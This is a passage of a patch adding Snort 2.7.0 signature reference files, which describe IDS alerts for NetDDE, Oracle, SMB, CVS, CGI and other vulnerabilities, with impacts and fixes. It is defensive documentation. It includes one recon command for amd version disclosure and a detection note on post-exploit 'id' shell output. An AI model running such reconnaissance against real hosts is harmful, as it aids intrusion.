+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2936.txt
+++ snort-2.7.0/doc/signatures/2936.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2936
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/2723.txt
+++ snort-2.7.0/doc/signatures/2723.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2723
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_char
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/507.txt
+++ snort-2.7.0/doc/signatures/507.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+507
+
+--
+Summary:
+This event is generated when an attempt is made to gain administrative 
+rights to a PC running pcAnywhere
+
+--
+Impact:
+Serious. By the very nature of pcAnywhere, without a strong administrative
+password, a successful attack will allow the attacker to gain total 
+control of the machine.
+
+--
+Detailed Information:
+pcAnywhere is a remote control administrative software package produced 
+by Symantec (http://www.symantec.com/pcanywhere/Consumer/features.html) 
+it allows control of a system via network or RAS connection.
+
+--
+Affected Systems:
+	Windows XP Home and Professional
+	Windows 2000 Professional/Server
+	Windows NT Workstation and Server 4.0
+	Windows 98/Me
+
+--
+Attack Scenarios:
+With a copy of pcAnywhere, and attacker can scan a network (port 22) or
+war-dial a series of modems, looking for pcAnywhere signatures.
+
+--
+Ease of Attack:
+Simple. All that is required is an install of pcAnywhere and a host
+to connect to.
+
+--
+False Positives:
+Since pcAnywhere uses the same port as SSH (22) a simple open port scan 
+can show hosts that my not have pcAnywhere installed
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Make sure only servers and workstations that require remote control have
+pcAnywhere installed.
+Make sure that a strong password is required for any level of access, 
+this ideally should be coupled with some for of alternate 
+authentication, such as SecurID, modem callback or be blocked at the 
+external firewall so that the remote control functionality is only 
+available on the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  Mike Rivett ebiz@rivett.org
+
+-- 
+Additional References:
+Symantec PC Anywhere Home Page
+http://www.symantec.com/pcanywhere/Consumer/
+
+RSA:
+RSA SecurID (www.rsasecurity.com/products/securid/)
+
+Arachnids:
+http://www.whitehats.com/info/IDS240
+
+--
--- snort-2.7.0.orig/doc/signatures/1884.txt
+++ snort-2.7.0/doc/signatures/1884.txt
@@ -0,0 +1,65 @@
+Rule:
+
+
+--
+Sid: 
+
+1884
+
+-- 
+Summary: 
+This rule has been placed in deleted.rules
+
+-- 
+Impact: 
+
+attacker might have gained an ability to execute commands remotely on the system.
+
+--
+Detailed Information:
+
+This signature triggers when a UNIX "id" command is used to confirm
+the user name of the currently logged in user over any unencrypted
+connection. Such connection can be either a legitimate telnet
+connection or a result of spawning a shell on FTP, POP3, SMTP or other
+port as a consequence of network exploit. The string "uid=" and
+"(web)" is an output of an "id" command indicating that the user
+has "web" account privileges, typically used by the web server
+process.  Seeing such a response indicates that some user connected
+over the network to a target web server and likely exploited the web
+server to launch a shell.
+
+--
+Attack Scenarios: 
+
+a buffer overflow exploit against the WWW server results in "/bin/sh" being executed. An automated script performing an attack, checks for the success of the exploit via an "id" command.
+
+-- 
+Ease of Attack: 
+
+this post-attack behavior can accompany different attacks
+
+-- 
+False Positives: 
+
+the signature will trigger if a legitimate system administrator executes the "id" command over the telnet connection which uses one of the web ports, as defined in snort.conf
+
+--
+False Negatives: 
+
+not known
+
+-- 
+Corrective Action: 
+
+investigate the server for signs of compromise, run
+the integrity checking software, look for other IDS alerts involving
+the same IP addresses.
+
+--
+Contributors: Anton Chuvakin <anton@chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000581.txt
+++ snort-2.7.0/doc/signatures/100000581.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000581
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_view_hidden.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"cat_view_hidden.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2036.txt
+++ snort-2.7.0/doc/signatures/2036.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2036
+
+--
+Summary:
+Network Status Monitor (NSM) is used to indicate whether a host is up or
+for its status.
+
+--
+Impact:
+Intelligence gathering about the current state of a host and whether rpc
+services are available.
+
+--
+Detailed Information:
+NSM runs on client machines and informs other hosts of the status of 
+that machine should a crash or reboot occur. Each remote application 
+using an rpc service can therefore register with the host when services 
+are once again available.
+
+A request made to a machine will indicate to the attacker the status of 
+that host and will also be indicative of rpc services being available. 
+The attacker might then continue to ascertain which rpc services are 
+being offered and then launch an attack on vulnerable daemons.
+
+--
+Affected Systems:
+Any system running the service.
+
+--
+Attack Scenarios:
+An attacker merely needs to request the status of the host using rpc.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Use the hosts.allow file to restrict the hosts able to request the 
+status of the server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Network Status Monitor Protocol, The Open Group:
+http://www.opengroup.org/onlinepubs/009629799/chap11.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/1229.txt
+++ snort-2.7.0/doc/signatures/1229.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+1229
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic 
+is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp 
+server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of
+spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or 
+it could be an attempt to compromise the FTP server by overflowing a 
+buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party 
+using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain 
+access to a host, then upload a Trojan Horse program to gain control of 
+that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected 
+network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1956.txt
+++ snort-2.7.0/doc/signatures/1956.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1956
+
+--
+Summary:
+This event is generated when a request is made to discover the version and configuration information associated with the Remote Procedure Call (RPC) amd.
+
+--
+Impact:
+Information disclosure.  This request can allow an attacker to discover the version of amd running as well as other configuration information about the host.
+
+--
+Detailed Information:
+The amd RPC service implements the automounter daemon on UNIX hosts.  The amd service automatically mounts and unmounts requested file systems.  An attacker can make a request to amd to discover its version number. A successful request will return the version number along with other valuable configuration information about the server, including the architecture.  
+
+--
+Affected Systems:
+Any system running amd.
+
+--
+Attack Scenarios:
+An attacker may request the version number associated with amd.  The response may give an attacker valuable configuration information about the host.
+
+--
+Ease of Attack:
+Simple.  Execute the command 'amq -v -U -h hostname/IP'
+
+-
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2908.txt
+++ snort-2.7.0/doc/signatures/2908.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2908
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repschema
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/119-17.txt
+++ snort-2.7.0/doc/signatures/119-17.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+119-17
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may indicate improper use of unauthorized web proxy
+servers.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects the
+use of an unauthorized web proxy by clients on the protected network.
+This event may also be generated if a web client is not using one of the
+configured proxy servers to browse the web.
+
+--
+Affected Systems:
+	All client systems.
+
+--
+Attack Scenarios: 
+A malicious user may try to use an unauthorized proxy server in an
+attempt to subvert company policy on the use of the Internet.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/1219.txt
+++ snort-2.7.0/doc/signatures/1219.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1219
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2284.txt
+++ snort-2.7.0/doc/signatures/2284.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2284
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3145.txt
+++ snort-2.7.0/doc/signatures/3145.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3145
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2403.txt
+++ snort-2.7.0/doc/signatures/2403.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2403
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISS RealSecure and BlackICE products.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the ISS Analysis Module can be triggered
+by an attacker sending a single SMB packet containing an AccountName
+greater than 300 bytes. It is possible for an attacker to exploit this
+condition by sending a specially crafted packet to a host serving network shares.
+
+When the systems running one of the affected ISS products decodes the
+SMB data, exploit code may be included and executed on the machine with 
+system level privileges. Alternatively, the malformed data may cause the service to become 
+unresponsive and cause a DoS condition.
+
+Sensors under attack will display "PAM_internal_error" as a message on
+the console.
+
+Sucessful exploitation of this issue could present an attacker with the 
+opportunity to execute code of their choosing on the target host with system
+privileges. It is also possible for a Denial of Service (DoS) condition to 
+be caused by an attacker attempting to exploit this condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 20.15 through 22.9
+	Real Secure Server Sensor 7.0 XPU 20.16 through 22.9
+	Proventia A Series XPU 20.15 through 22.9
+	Proventia G Series XPU 22.3 through 22.9
+	Proventia M Series XPU 1.3 through 1.7
+	RealSecure Desktop 7.0 eba through ebh
+	RealSecure Desktop 3.6 ebr through ecb
+	RealSecure Guard 3.6 ebr through ecb
+	RealSecure Sentry 3.6 ebr through ecb
+	BlackICE PC Protection 3.6 cbr through ccb
+	BlackICE Server Protection 3.6 cbr through ccb
+
+--
+Attack Scenarios:
+An attacker may use this vulnerability to disable ISS sensors on a
+network or potentially use it to gain control of a machine running one
+of the affected products.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+eEye
+http://www.eeye.com/html/Research/Advisories/AD20040226.html
+
+Bugtraq
+http://www.securityfocus.com/bid/9752
+
+--
--- snort-2.7.0.orig/doc/signatures/1065.txt
+++ snort-2.7.0/doc/signatures/1065.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1065
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/851.txt
+++ snort-2.7.0/doc/signatures/851.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+851
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000112.txt
+++ snort-2.7.0/doc/signatures/100000112.txt
@@ -0,0 +1,68 @@
+Rule: 
+
+--
+Sid: 
+100000112
+
+-- 
+Summary: 
+This event is generated when the readfile.tcl script on a Nokia IPSO device is 
+accessed.
+
+-- 
+
+Impact: 
+Since the script does not perform any input validation, users can read any file 
+on the host operating system for which the script has permissions. 
+
+--
+Detailed Information:
+An attacker may specify any file on the host operating system, and if the 
+script has read permissions for that file, it will be displayed in the web 
+browser. Users must be able to log into the Nokia web gui to perform this 
+attack.
+
+--
+Affected Systems:
+Nokia IPSO 3.3 SP4
+Nokia IPSO 3.3 SP3
+Nokia IPSO 3.3 SP2
+Nokia IPSO 3.3 SP1
+Nokia IPSO 3.3
+Nokia IPSO 3.3.1
+Nokia IPSO 3.4
+Nokia IPSO 3.4.1
+Nokia IPSO 3.4.2
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited using a web browser, or an automated script.
+
+-- 
+
+Ease of Attack: 
+Simple, as attacks may be performed via a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, no workarounds or patches are available.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/430.txt
+++ snort-2.7.0/doc/signatures/430.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+430
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Type 40 Code 1 Authentication Failed datagram.
+
+--
+
+Impact:
+ICMP Type 40 Code 1 datagrams are an indication that a received datagram failed the authenticity or integrity check for a given SPI.  Normally this is an indication that hosts using IP Security Protocols such as AH or ESP have been configured incorrectly or are failing to establish a session with another host.
+
+--
+
+Detailed Information:
+Hosts using IP Security Protocols such as AH or ESP generate ICMP Type 40 datagrams when a failure condition occurs.  ICMP Type 40 Code 1 datagrams are generated when a received datagram failed the authenticity or integrity check for a given SPI (Security Parameters Index).  In some situations this may be an indication that an outer Encapsulation Security Protocol is in use, and the Authentication Header SPI is hidden inside the encapsulation.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 40 datagrams not normally seen on the network.  Currently Sourcefire is unaware of any hardware that has implemented these types of ICMP datagrams.  Hosts generating these types of ICMP datagrams should be investigated for nefarious activity or configuration errors. 
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC2521
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2583.txt
+++ snort-2.7.0/doc/signatures/2583.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2583
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with CVS.
+
+--
+Impact:
+A successful attack may perform a buffer overflow or a denial of service by
+either causing the CVS server to terminate abruptly or causing an exhaustion of
+disk resources.
+
+--
+Detailed Information:
+A CVS client transaction may reference a file using a relative path
+requiring the use of a directory traversal.  The Max-dotdot keyword and
+appropriate argument are created by the CVS client software to handle
+relative paths.  The appropriate argument represents the maximum number of
+directory levels to be traversed.  It is possible for an attacker
+to supply an overly large value to the Max-dotdot keyword, causing an
+incorrect allocation of memory and possibly causing a buffer overflow or the CVS
+server to crash.  In addition, temporary files are not deleted enabling a disk
+resource exhaustion attack, if repeated many times.  It should be noted
+that an attacker must have CVS access privileges in order to attempt
+these attacks.
+
+
+--
+Affected Systems:
+CVS versions 1.12.8 with the exception of version 1.11.17
+
+--
+Attack Scenarios:
+An attacker can connect to a CVS server and craft an overly large Max-dotdot
+argument value, causing a buffer overflow or causing the vulnerable CVS server
+to crash.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0417
+
+Bugtraq:
+http://www.securityfocus.com/bid/10499
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2750.txt
+++ snort-2.7.0/doc/signatures/2750.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2750
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_mview_repsites
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
